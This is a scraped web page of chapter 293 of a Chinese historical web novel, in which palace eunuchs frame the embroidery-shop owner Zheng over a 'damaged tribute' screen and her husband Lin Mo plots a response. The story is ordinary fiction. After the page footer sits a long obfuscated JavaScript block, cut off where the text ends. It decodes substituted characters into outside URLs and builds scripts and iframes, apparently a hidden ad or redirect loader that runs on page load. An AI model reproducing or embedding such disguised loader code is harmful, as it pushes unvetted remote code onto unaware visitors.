首页
第293章 贡品被损,问罪郑
返回

第293章 贡品被损,问罪郑氏

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第293章贡品被损,问罪郑氏(第1/2页)
    小伙计带来的消息,让郑氏和林墨的心瞬间沉到谷底。前脚刚把伯府绣屏安然送入“雅集斋”,后脚宫里就来人问罪,时机拿捏得如此精准,绝非巧合。
    两人匆匆赶回铺子。只见凤栖阁门前已围了不少看热闹的街坊,三名穿着靛蓝色圆领袍、腰间系着乌角带的宦官,正趾高气扬地站在店内,为首的是一个面白无须、眼神阴鸷的中年宦官,郑氏从未见过。他身旁站着两个年轻些的宦官,其中一个,正是之前跟着曹公公来过的那个黄姓小宦官。黄内侍此刻嘴角噙着一丝冷笑,眼神不善地扫视着铺子里的陈设。曹公公和刘内侍倒不见踪影。
    铺子里的绣娘和小伙计都吓得面无人色,缩在一旁,不敢作声。货架上的绣品似乎被翻动过,有些凌乱。
    “谁是掌柜郑氏?”那为首的中年宦官尖着嗓子问道,声音不高,却带着一股寒意。
    郑氏强自镇定,上前福身:“民妇便是。不知几位公公驾临,有何指教?”
    中年宦官上下打量了郑氏几眼,从袖中抽出一张盖着红印的文书,在郑氏面前一晃,冷冷道:“咱家是内务府广储司的管事太监,姓胡。奉上命,查问一桩贡品损毁案。有人举告,你铺子呈进内务府的绣品,以次充好,且因保管不善,致使贡品污损。此事,你可知罪?”
    贡品损毁?以次充好?郑氏心头一凛,立刻明白指的是那幅《秋塘双鹭图》绣屏。她脑中急转,那绣屏用料确实非顶级,但做工精细,自己也反复检查过,绝无污损,何来“损毁”?况且,那绣屏是曹公公他们以“内务府采办”名义索要的,并非正规贡品,如何成了“贡品”?
    她稳住心神,恭敬但清晰地答道:“胡公公明鉴。民妇铺子小本经营,从未承接过正式贡品。月前,确有御用监曹公公、尚衣监刘公公持内务府凭单,来小店定制一幅绣屏,言是某位贵人雅好。小店尽心竭力,按期完工,已交付曹、刘二位公公,并取得回执。至于以次充好、保管不善致损,实无此事。交付时,曹、刘二位公公亲自验看,并无异议。不知胡公公所言贡品损毁,从何说起?”
    胡公公冷哼一声,对身旁的黄内侍使了个眼色。黄内侍上前一步,扬着下巴道:“郑掌柜,休要狡辩!那绣屏交到宫里,贵人看了,本也欢喜。可没过两日,便发现绣面有巴掌大一块,颜色发暗,丝质发粘,分明是用了劣质丝线,又或是保管时沾染了污秽,致使贡品受损!贵人震怒,着内务府严查!曹奉御和刘内侍已被问责,他们供认,绣屏是从你铺子所出,交付时并无问题,想必是你们在交付后,暗中做了手脚,或是当初便以次充好,药性后来才发作!”
    这颠倒黑白的说辞,让郑氏气得浑身发抖。她立刻明白了,这是一个圈套!曹、刘二人交差时没问题,过了几日却说“损毁”,这“损毁”从何而来?要么是他们自己做了手脚,要么是那所谓的“贵人”(或许根本不存在)故意找茬!而对方将“贡品”的帽子扣下来,性质就严重了。以次充好、损毁贡品,轻则罚没家产、流放,重则下狱甚至杀头!
    林墨站在郑氏身后半步,轻轻按了按她的手臂,示意她冷静。他上前一步,对胡公公拱手道:“胡公公,在下林墨,是郑氏的夫君,在钦天监任职。此事恐有误会。那幅绣屏,内子交付时,曹、刘二位公公在场验看,并签字画押,何来交付后做手脚之说?且小店有详细账目,记录所用物料、工时,绝无以次充好。至于绣品损毁,更是无从谈起。可否请公公明示,绣屏现在何处?损毁情形如何?或许可请宫中擅长织绣的嬷嬷共同勘验,以明真相?”
    胡公公眼皮一掀,看向林墨,语气依旧冰冷:“林司晨?此事涉及宫闱贡品,自有内务府与宫中查验,何须外人置喙?绣屏确已污损,多位嬷嬷验看过,确系丝质朽坏,乃用料与保管双重不当所致。曹奉御、刘内侍疏忽查验,自有他们的罪过。但东西是你铺子所出,根源在你们!账目?你们自己做账,自然做得漂亮!至于交付凭证,”他瞥了一眼黄内侍。
    黄内侍接口,阴阳怪气道:“曹奉御和刘内侍当时忙于他事,或许未曾细看,被你们蒙混过去也未可知。如今绣屏已毁,死无对证,自然由得你们说!”
    这话简直是无赖!交付时不细看,过后说有问题,还“死无对证”!郑氏急道:“公公!账目清晰,用料皆有据可查!交付时二位公公验看无误,岂能事后反口?这分明是……”
    “大胆!”胡公公猛地打断郑氏,厉声道,“你敢质疑宫中查验?质疑咱家的话?来人,将这铺子封了!账本、货品,一并查封!郑氏,跟咱家回内务府问话!”
    他身后两名年轻宦官立刻上前,就要动手拿人、封店。
    “且慢!”林墨挡在郑氏身前,声音沉稳,但带着不容置疑的力度,“胡公公,即便要查封问话,也需有正式文书,列明事由。公公手中虽有文书,但所言‘贡品损毁’,与事实不符。那绣屏并非正式贡品,只是内务府寻常采办。且我妻乃是民妇,即便有嫌,也应先由地方衙门审理,内务府直接拿人封店,于理不合,于法无据。公公若要问话,在下愿陪内子前往,但封店拿人,还请公公三思,莫要授人以柄。”
    林墨点出了关键:第一,那绣屏不是正式贡品,性质不同;第二,内务府直接越过分管民事的顺天府拿人封店,程序有问题。他是在赌,赌对方不敢在众目睽睽之下,公然违反程序,把事情闹得太大。毕竟,对方是设局陷害,未必敢把事情摆在明面上,经得起推敲。
    胡公公眼神一凝,显然没料到林墨如此镇定,且一下子抓住了程序漏洞。他此次前来,确实是奉了郝副总管的命令,要狠狠整治凤栖阁,最好能将郑氏下狱,铺子查封,永绝后患。但郝副总管也交代了,事情要办得“漂亮”,最好能借“损毁贡品”这个由头,快刀斩乱麻,不要惊动太多人,尤其是不要扯出伯府。没想到林墨竟是个懂章程的。
    他盯着林墨,皮笑肉不笑:“林司晨倒是熟知律例。不过,内务府掌管宫禁用度,凡涉及宫中物品,无论贡品与否,内务府皆有稽查之权。此案已惊动贵人,非同小可,咱家奉上命稽查,先封店问话,有何不可?至于顺天府,内务府自会行文知会。林司晨若要同往,也好,正好一并问问,你这做夫君的,可知晓内情?”
    这是铁了心要抓人了,还要把林墨也扯进去。林墨心知今日难以善了,对方有备而来,且打着“宫中贵人”和“内务府”的旗号,硬抗只会给人口实。他迅速权衡,眼下最重要的是拖延时间,避免立刻被下狱,同时争取外界关注和援手。
    “公公既有上命,在下夫妇自当配合问话。”林墨语气放缓,但依旧坚持,“只是封店事关重大,铺中尚有他人财物订单,尤其是永嘉伯府定制的寿礼,已然完工交付装裱。若仓促查封,影响了伯府大事,恐怕内务府也不好交代。不如这样,公公可先将铺中账本、相关物证封存带走,铺面暂由小伙计看守,待事情查明,再行处置。在下夫妇,愿随公公前往内务府,陈述详情。如何?”
    林墨再次抬出了伯府。伯府的寿礼刚刚送走,对方应该已知晓。此刻强调伯府,既是提醒对方有所顾忌,也是为后续可能向伯府求助埋下伏笔。
    胡公公眼神闪烁,显然对“伯府”二字有所忌惮。他今日来,主要是针对郑氏和凤栖阁,并不想节外生枝,立刻与伯府对上。而且,伯府的寿礼确实已经送走,封店对伯府并无直接影响,但若逼得太紧,引得伯府过问,反而麻烦。他沉吟片刻,冷哼一声:“既如此,便依你所言。账本、与那绣屏相关的所有记录、物料,全部封存带走!郑氏,随咱家走一趟!林司晨,你既在钦天监任职,咱家给你几分体面,你可随后自行前往内务府候询,但若不到,便是抗命!”
    这是要将郑氏单独带走。林墨心中一紧,郑氏一介女流,入了内务府那种地方,不知会受何等对待。但他知道,此刻再争,对方可能直接撕破脸。他必须争取时间,在外周旋。
    郑氏脸色发白,但看到林墨的眼神,知道他已有计较。她深吸一口气,对林墨道:“夫君,我去去就回。铺子……交给你了。”又对秀云等人道:“看好铺子,一切听东家安排。”
    林墨重重握了一下她的手,低声道:“别怕,实话实说,我很快便到。”
    胡公公不耐烦地挥手,一名宦官上前,示意郑氏跟上。郑氏整理了一下衣衫,挺直脊背,跟着宦官向外走去。围观的街坊指指点点,议论纷纷。
    黄内侍带着另一名宦官,开始查封账本,并胡乱将一些丝线、布料也打包装箱,说是“证物”。林墨冷眼旁观,并未阻止,只是暗中对小伙计使了个眼色,小伙计会意,悄悄溜出人群。
    账本和所谓的“证物”被搬上一辆青布小车。胡公公上了另一辆稍大的马车,郑氏被押着上了后面一辆小轿。一行人径直往皇城方向而去。
    林墨站在原地,看着车轿远去,脸色阴沉如水。对方来势汹汹,目标明确,就是要将郑氏下狱,查封铺子。所谓“贡品损毁”,不过是个借口。这背后,定然是郝副总管在指使,甚至可能牵连更广。曹、刘二人恐怕已被推出来当替罪羊,或者根本就是同谋。
    他转身回到铺中,秀云等人围上来,面带惶急。“东家,现在怎么办?掌柜的会不会有事?”
    “别慌。”林墨沉声道,“秀云,你带着大家,把铺子收拾一下,照常营业,但少说话,有人问起,就说掌柜的去内务府对账了,其他一概不知。阿贵(小伙计),你立刻去永嘉伯府后门,找宋嬷嬷,将今日之事,原原本本告诉她,就说铺子遭人陷害,夫人被内务府带走,请嬷嬷念在往日情分,若有消息,务必通传一声。记住,只说事实,不要添油加醋,更不要哀求。”
    小伙计阿贵应了一声,急忙跑了出去。
    林墨又对另一个机灵些的绣娘道:“你去一趟高嬷嬷家,她若在,便将情况简要说明,请她帮忙打听一下,内务府广储司的胡公公,是什么来路,与郝副总管关系如何。若她不在,留个口信即可,切勿强求。”
    (本章未完,请点击下一页继续阅读)第293章贡品被损,问罪郑氏(第2/2页)
    安排完这些,林墨关起门,独自坐在后堂,快速思索。对方出手狠辣,直接动用内务府的力量,以“贡品”名义拿人,这是要将他夫妻二人往死里整。钦天监的官职,在对方眼中恐怕不够看。伯府的关系,上次用过一次,这次对方既然敢动手,恐怕已有所防备,或者认为伯府不会为一个绣庄掌柜大动干戈。高嬷嬷那条线,更是不稳。
    眼下最关键的,是郑氏在内务府的情况。内务府不是正规衙门,但自有其私刑和手段。郑氏一介女流,不知会受何对待。必须尽快将她弄出来,至少不能让她在里面受苦。
    他想起王博士。王博士在内官监有门路,或许能打听到一些消息,甚至递上话。但王博士为人谨慎,上次帮忙打探已是破例,这次涉及内务府拿人,他未必肯再插手。无论如何,必须一试。
    林墨立刻起身,赶往钦天监。找到王博士,将事情快速说了一遍,恳请王博士设法打听郑氏被关押何处,境况如何,最好能递个话,照拂一二。
    王博士听完,眉头紧锁,捋着胡须沉吟良久,才低声道:“林司晨,非是老夫不肯帮忙。此事牵扯内务府,又涉及‘贡品损毁’,可大可小。那郝副总管,在内官监颇有势力,与宫里几位大珰也说得上话。他若铁了心要整治尊夫人,恐怕……唉,老夫在内官监虽有些故旧,但广储司是内务府的地盘,水泼不进。递话进去或许可以,但能否照拂,实难预料。至于打听关押之处,倒是可以试试。”
    林墨深深一揖:“有劳王公!能递个话,打听下落,已是感激不尽。内子无辜,实遭人陷害,还望王公施以援手。”
    王博士叹口气:“我尽力而为。你也速去内务府应卯,莫让他们抓住把柄说你抗命。记住,在内务府,谨言慎行,切勿冲动。他们问什么,答什么,不知道的就说不知道,不要争执,尤其不要提及伯府或贵妃,以免横生枝节。一切,等老夫消息。”
    林墨谢过王博士,立刻赶往内务府所在的皇城外围区域。内务府衙门森严,门房通报后,许久才有人引他进去,却未让他见郑氏,只让他在一间偏房等候。这一等,就是两个时辰。
    偏房阴冷,只有一张硬木椅。林墨心焦如焚,却只能强迫自己冷静,思考对策。对方捏造“贡品损毁”,关键证据是那幅“污损”的绣屏。只要绣屏在他们手中,他们怎么说都有理。必须想办法看到那所谓的“污损”,并证明其是事后人为,或者,证明那绣屏根本就不是“贡品”。
    如何证明?曹、刘二人是经手人,他们恐怕已统一口径,指认绣屏交付后出问题,或者直接咬定郑氏以次充好。那模糊的“内务府凭单”,此刻恐怕也成了“证据”。自己手中有详细的账本副本,但对方可以说那是伪造。郑氏提到的高公公,无凭无据,反而可能激怒对方。伯府的关系,远水难救近火,且对方敢动手,必有依仗。
    时间一点点过去,窗外日头西斜。就在林墨几乎要按捺不住时,一个面生的中年宦官走了进来,打量了林墨几眼,淡淡道:“林司晨?随咱家来,胡公公有话问你。”
    林墨跟着宦官,穿过几重院落,来到一处厢房。胡公公坐在上首,慢条斯理地喝着茶。黄内侍侍立一旁,眼神不善。
    “林司晨,坐。”胡公公指了指下首的椅子。
    林墨拱手坐下,不卑不亢:“胡公公有话请讲。不知内子现在何处?所谓贡品损毁,究竟是何情形,还请公公明示,也好让在下明白。”
    胡公公放下茶盏,淡淡道:“尊夫人正在别处休息。至于贡品损毁,事实清楚,证据确凿。那幅《秋塘双鹭图》绣屏,交付三日后,便出现巴掌大一块污渍,丝线发暗发粘,显是用了劣质丝线,且保管时受了潮霉。宫中嬷嬷验看,确系如此。曹奉御、刘内侍疏忽查验,已自领责罚。但东西是你铺子所出,根源在你。尊夫人也已承认,绣屏所用丝线,并非顶级,且为赶工,保管或有疏失。”
    郑氏承认了?林墨心中一震,但立刻明白,这必然是诱供或逼供的结果。他沉声道:“公公,内子一介女流,骤逢此事,心中惶恐,所言未必是实。那绣屏交付时,曹、刘二位公公亲自验看,并签收,此事街坊四邻皆有耳闻。若有问题,当时为何不提?此其一。其二,小店有详细账目,记录每一笔用料来源、价格,可证明所用丝线虽非极品,亦是上等,绝无劣质。其三,绣屏交付时完好,三日后损毁,焉知不是在这三日内,保管之人处置不当,或有人故意破坏,嫁祸小店?仅凭一面之词,便断定是小店之过,恐难服众。”
    “哼!”黄内侍尖声道,“强词夺理!宫中保管,岂会不当?分明是你们以次充好,药性后发!账目是你们自己所记,岂能为凭?街坊所言,更是空口无凭!如今绣屏已毁,你们自然想推脱!”
    胡公公摆摆手,看着林墨,眼中闪过一丝冷光:“林司晨,你是朝廷命官,咱家也不想为难你。但此事涉及宫闱体面,贵人震怒,必须有个交代。如今证据指向尊夫人,尊夫人也已供认不讳。咱家奉劝你,还是想想如何弥补,或许还能从轻发落。若一味狡辩,恐对尊夫人不利。”
    这是赤裸裸的威胁。要林墨认罪,并“弥补”,也就是敲诈勒索。
    林墨心如明镜,知道对方目的是要钱,或者要彻底整垮他们。他不能认罪,但也不能硬顶。他需要时间,需要证据,需要外援。
    “公公,此事蹊跷甚多,仅凭一面之词定罪,难以令人心服。在下恳请公公,允在下亲眼一观那损毁的绣屏,或请宫中擅长织绣、懂行之人,与在下带来的丝线样品比对,看是否真是用料问题。再者,曹、刘二位公公乃经手之人,可否容在下与他们当面对质?若果真是小店之过,在下绝不推诿,该赔该罚,绝无二话。但若有人蓄意构陷,还请公公明察,还小店一个清白。”林墨言辞恳切,但态度坚决。
    胡公公眼神阴鸷地盯着林墨,半晌,忽然笑了笑,只是那笑容毫无温度:“林司晨倒是执着。要看绣屏?可以。不过,绣屏已被贵人收回,咱家也取不出来。对质?曹奉御和刘内侍自有他们的过失,正在受罚,不便见你。林司晨,咱家好言相劝,你若不识抬举,那就休怪咱家按规矩办事了。尊夫人何时能出去,可就难说了。”
    他站起身,拂袖道:“今日天色已晚,林司晨先请回吧。好好想想,是认罪赔偿,息事宁人,还是非要闹到不可收拾。明日午时之前,给咱家一个答复。送客!”
    林墨被“请”出了内务府。站在暮色渐沉的皇城外,他感到一阵刺骨的寒意。对方根本不想讲道理,就是要屈打成招,就是要钱,或者要他们的命。绣屏不给看,人证不给对质,一切他们说了算。所谓“明日午时前答复”,是最后通牒。
    他必须尽快想办法。王博士那边不知有没有消息。伯府那边,不知宋嬷嬷能否说上话。高嬷嬷……希望渺茫。
    就在他心急如焚之际,一个小太监模样的人悄悄靠过来,低声道:“可是钦天监林司晨?王公公让小的递个话:尊夫人暂时无恙,关在广储司后头杂院里,有人照看着。但此事是郝副总管点了头的,胡管事不过是跑腿的。郝副总管发了话,要那铺子开不下去,至少要赔五百两,否则……人就别想全须全尾地出来了。王公公说,他只能打听到这些,再多,他也无能为力了。让您……早做打算。”
    五百两!还要铺子开不下去!林墨握紧了拳头,指甲深深掐进掌心。好狠的郝副总管!这是要逼得他们倾家荡产,流落街头!
    他谢过小太监,拖着沉重的脚步往回走。夜色已浓,寒风刺骨。他知道,对方布好了天罗地网,就等着他们低头,或者,挣扎后粉身碎骨。郑氏还在里面,多待一刻,就多一分危险。他必须尽快做出抉择,是屈服,还是……绝地反击?
    可是,证据被对方掌控,人证被对方控制,对方势力盘根错节,他一个小小司晨,拿什么反击?
    难道,真的要认下这莫须有的罪名,赔上全部身家,甚至更多?
    不,不能认。认了,就永远洗不清了,凤栖阁就真的完了,他们夫妇也将永无宁日。
    必须找到破局的关键。证据……人证……对方如此笃定,无非是仗着绣屏在他们手里,曹、刘二人被他们控制。可绣屏真的“污损”了吗?是如何“污损”的?曹、刘二人,就真的铁板一块吗?还有那个突然冒出来的胡公公,他如此卖力,仅仅是因为郝副总管的命令?
    林墨脑中飞速思索。对方的手段,与之前绣屏被毁,何其相似!都是延迟发作的污损,都是针对绣品本身。上次是伯府绣屏,这次是“贡品”绣屏。上次他们侥幸用巧思化解,这次对方直接扣上“贡品”大帽,让他们无处申辩。
    等等!两次手法相似……会不会是同一人所为?或者,至少是同一伙人?对门锦绣阁的钱掌柜,是否参与其中?那个被收买的绣娘阿香,在其中又扮演了什么角色?
    或许,突破口不在宫内,而在宫外。不在那幅已成“死证”的绣屏,而在……人。
    林墨停下脚步,眼中闪过一丝决然。他不能坐以待毙,更不能让郑氏在里面受苦。他要兵行险着,从对方阵营内部,找到裂痕。而那个裂痕,或许就在看似铁板一块的曹公公、刘内侍,或者……那个看似嚣张,实则可能被推出来当枪使的黄内侍身上。
    夜还很长,他需要更详细的信息,更需要一个契机。而伯府那边,或许是他目前唯一能抓住的,不那么可靠的稻草。他必须再去见宋嬷嬷,哪怕希望渺茫。同时,他还要做另一手准备——查!查锦绣阁,查那个绣娘阿香,查曹、刘二人最近的动向,查郝副总管和胡公公的底细,甚至,查那幅“污损”绣屏可能的去向和查验细节。
    这注定是一个不眠之夜。郑氏在内务府杂院中煎熬,而林墨,必须在黎明到来前,找到那一线生机。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 